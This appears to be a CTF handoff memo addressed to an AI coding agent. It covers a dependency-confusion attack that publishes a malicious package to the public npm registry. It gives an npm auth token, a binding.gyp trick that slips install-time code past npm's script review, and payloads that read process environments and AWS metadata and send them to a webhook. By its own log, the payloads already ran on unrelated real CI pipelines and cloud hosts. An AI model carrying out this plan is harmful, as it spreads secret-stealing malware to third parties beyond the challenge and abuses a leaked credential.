- # CTF Handoff: Curse Dependent — Complete Context for Cursor/AI
2
-
3
- ## Challenge Info
4
- - **Name**: Curse Dependent (Web, 925 pts, Medium)
5
- - **Platform**: SLB CTF 2026 on HTB
6
- - **Team**: Infinite Blue
7
- - **Instance**: `http://154.57.164.79:34475/`
8
- - **Goal**: Get flag in `HTB{...}` format via dependency confusion attack
9
-
10
- ## Architecture
11
- 1. **Web UI** (154.57.164.79:34475) — "Ecto-Registry Management Console" with module editor
12
- 2. **Verdaccio** (internal) — Private npm registry that proxies to public npmjs.org
13
- 3. **CI/Cron Pipeline** — Periodically runs `npm install` from module manifests (~every 2 minutes)
14
- 4. **API**: `PUT /api/modules/{id}` with `{"manifest": "yaml_string"}` to update modules
15
-
16
- ## Attack Vector: Dependency Confusion via npm
17
- We publish a package to public npm → Verdaccio proxies → CI installs it → our code runs.
18
-
19
- ### npm Package: `spectral-core` (owned by dmangal)
20
- - **npm auth token**: `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`
21
- - **Trick**: `"gypfile": true` in package.json + binding.gyp with `type: "none"` actions = npm auto-adds `install: node-gyp rebuild` → bypasses npm's script review
22
- - Published versions: 3.0.1 (clean), 3.0.2 (flag.txt reader), 3.0.3 (grep/find), 3.0.4 (env dump), 3.0.5 (shell script reader) ← CURRENT
23
- - **999.0.0 is BLOCKED** on npm (explicit curl in scripts, caught by review)
24
-
25
- ### Module on Challenge: ECT-987654
26
- Current manifest (keep this intact!):
27
- ```yaml

105
- ### 2. Container Identity
106
- The challenge container at 23.22.133.121 is a **malware detonation sandbox on AWS EC2**:
107
- - HOSTS: `10.0.21.146 ip-10-0-21-146.ec2.internal` (NOT Kubernetes!)
108
- - /local/ directory is EMPTY
109
- - /var/run/secrets/ does NOT exist
110
- - No Kubernetes service account
111
- - Has strace-based analysis, honeypot creds, anti-fingerprinting
112
-
113
- ### 3. Three Container Types Hitting Webhook
114
- | IP | Type | Details |
115
- |---|---|---|
116
- | 23.22.133.121 | Challenge detonation sandbox | Has /fetch.sh, plants honeypots, AWS EC2 |
117
- | 179.237.75.172 | Real CI pipeline | Has .aws, .cargo, .docker, GOFLAGS; npm_config_registry=verdaccio...svc.cluster.local |
118
- | 34.196.43.233, 35.239.241.188, etc. | npm detonation sandbox | /tmp/detonate-v2-*, /rom/, yarn in /opt |
119
- | 104.154.48.53 | ko-app container (GCP) | Go app built with ko |
120
- | 43.139.173.76, 175.178.27.96 | Chinese IPs (Tencent Cloud) | Various CI/CD systems |
121
-
122
- ### 4. The Flag is NOT:
123
- - ❌ On disk anywhere (`grep -rl "HTB{" /` returned empty)
124
- - ❌ In any shell script
125
- - ❌ In the env vars we've seen (those are honeypots)
126
- - ❌ In /flag.txt
127
- - ❌ In Kubernetes secrets (container is on EC2, no K8s)
128
-
129
- ## WHAT TO TRY NEXT (Priority Order)
130
-
131
- ### Priority 1: Read /proc/1/environ
132
- The init process (PID 1) has the ORIGINAL container env vars before prepare_test.sh adds honeypot vars. The FLAG might be passed as an env var to the container.
133
-
134
- ```javascript
135
- // binding.gyp payload for 3.0.6:
136
- var d='';
137
- try{d+='PROC1:'+require('fs').readFileSync('/proc/1/environ','utf8').replace(/\0/g,'\n')}catch(e){d+='NO_PROC1:'+e.message}
138
- try{d+='\nPROCSELF:'+require('fs').readFileSync('/proc/self/environ','utf8').replace(/\0/g,'\n')}catch(e){d+='NO_PROCSELF:'+e.message}
139
- // Send to webhook
140
- ```
141
-
142
- ### Priority 2: Check Internal Network Services
143
- From inside the container, try:
144
- - **AWS Metadata**: `http://169.254.169.254/latest/meta-data/` (EC2 instance metadata)
145
- - **AWS User Data**: `http://169.254.169.254/latest/user-data` (might contain flag or config)
146
- - **Internal IPs on 10.0.21.x**: scan for web services on port 80, 443, 4873 (Verdaccio)
147
- - **DNS lookups**: resolve verdaccio, registry, flag, etc.
148
-
149
- ```javascript
150
- // binding.gyp payload idea:
151
- var http=require('http');
152
- // Try metadata
153
- http.get('http://169.254.169.254/latest/user-data', (r)=>{
154
- var data=''; r.on('data',(c)=>data+=c);
155
- r.on('end',()=>{/* send to webhook */});
156
- });
157
- ```
158
-
159
- ### Priority 3: Try the Challenge Web Server from Inside
160
- The challenge web server might have internal-only endpoints:
161
- - Try: `http://10.0.21.x:34475/flag` or similar
162
- - Try: `http://localhost:34475/api/flag`
163
- - The web server might expose the flag to internal network
164
-
165
- ### Priority 4: Look for the REAL CI Pipeline
166
- The entry from 179.237.75.172 had `npm_config_registry=https://verdaccio.execve-firehose-registry.svc.cluster.local:4873/`. This might be the ACTUAL challenge CI pipeline (different from the detonation sandbox). But these entries might also be random CI pipelines from other npm users.
167
-
168
- ### Priority 5: Verdaccio Access
169
- Try to query Verdaccio from inside the detonation container:
170
- - DNS resolve: `verdaccio`, `verdaccio.execve-firehose-registry.svc.cluster.local`
171
- - Try: `curl http://localhost:4873/`, `curl http://verdaccio:4873/`

207
- ```
208
-
209
- ### Publish Commands (run locally, NOT in cloud sandbox)
210
- ```bash
211
- cd spectral-core-pkg
212
- # Edit package.json → version: "3.0.6"
213
- # Edit index.js → version: "3.0.6"
214
- # Edit binding.gyp → new payload
215
- npm publish
216
- ```
217
-
218
- ## MODULE MANAGEMENT
219
-
220
- ### Check module status
221
- ```bash
222
- curl -s http://154.57.164.79:34475/api/modules/ECT-987654
223
- ```
224
-
225
- ### Restore module if overwritten by ppatil
226
- ```bash
227
- curl -s -X PUT http://154.57.164.79:34475/api/modules/ECT-987654 \
228
- -H "Content-Type: application/json" \
229
- -d '{"manifest":"ecto_module:\n name: spectral-core\n version: \"*\"\n power_level: EXTREME\n ship_deck: engine\n cargo_hold: trusted\nname: spectral-core\nversion: \"*\"\nmain: index.js"}'
230
- ```
231
-
232
- ### Other player "ppatil" actively overwrites ALL modules to spectral-core@999.0.0
233
- - They've modified ECT-472839, ECT-654321, ECT-839201
234
- - Watch for ECT-987654 being overwritten
235
-
236
- ## IMPORTANT CONSTRAINTS
237
- - "dont respawn yet as it might affect other players" — shared instance
238
- - npm publish MUST be done locally (cloud sandbox blocks it)
239
- - binding.gyp trick is key — npm's script review catches explicit scripts
240
- - The YAML manifest `scripts:` section is NOT executed by cron — only npm package scripts run
241
- - Each npm version number can only be used once — always increment
242
-
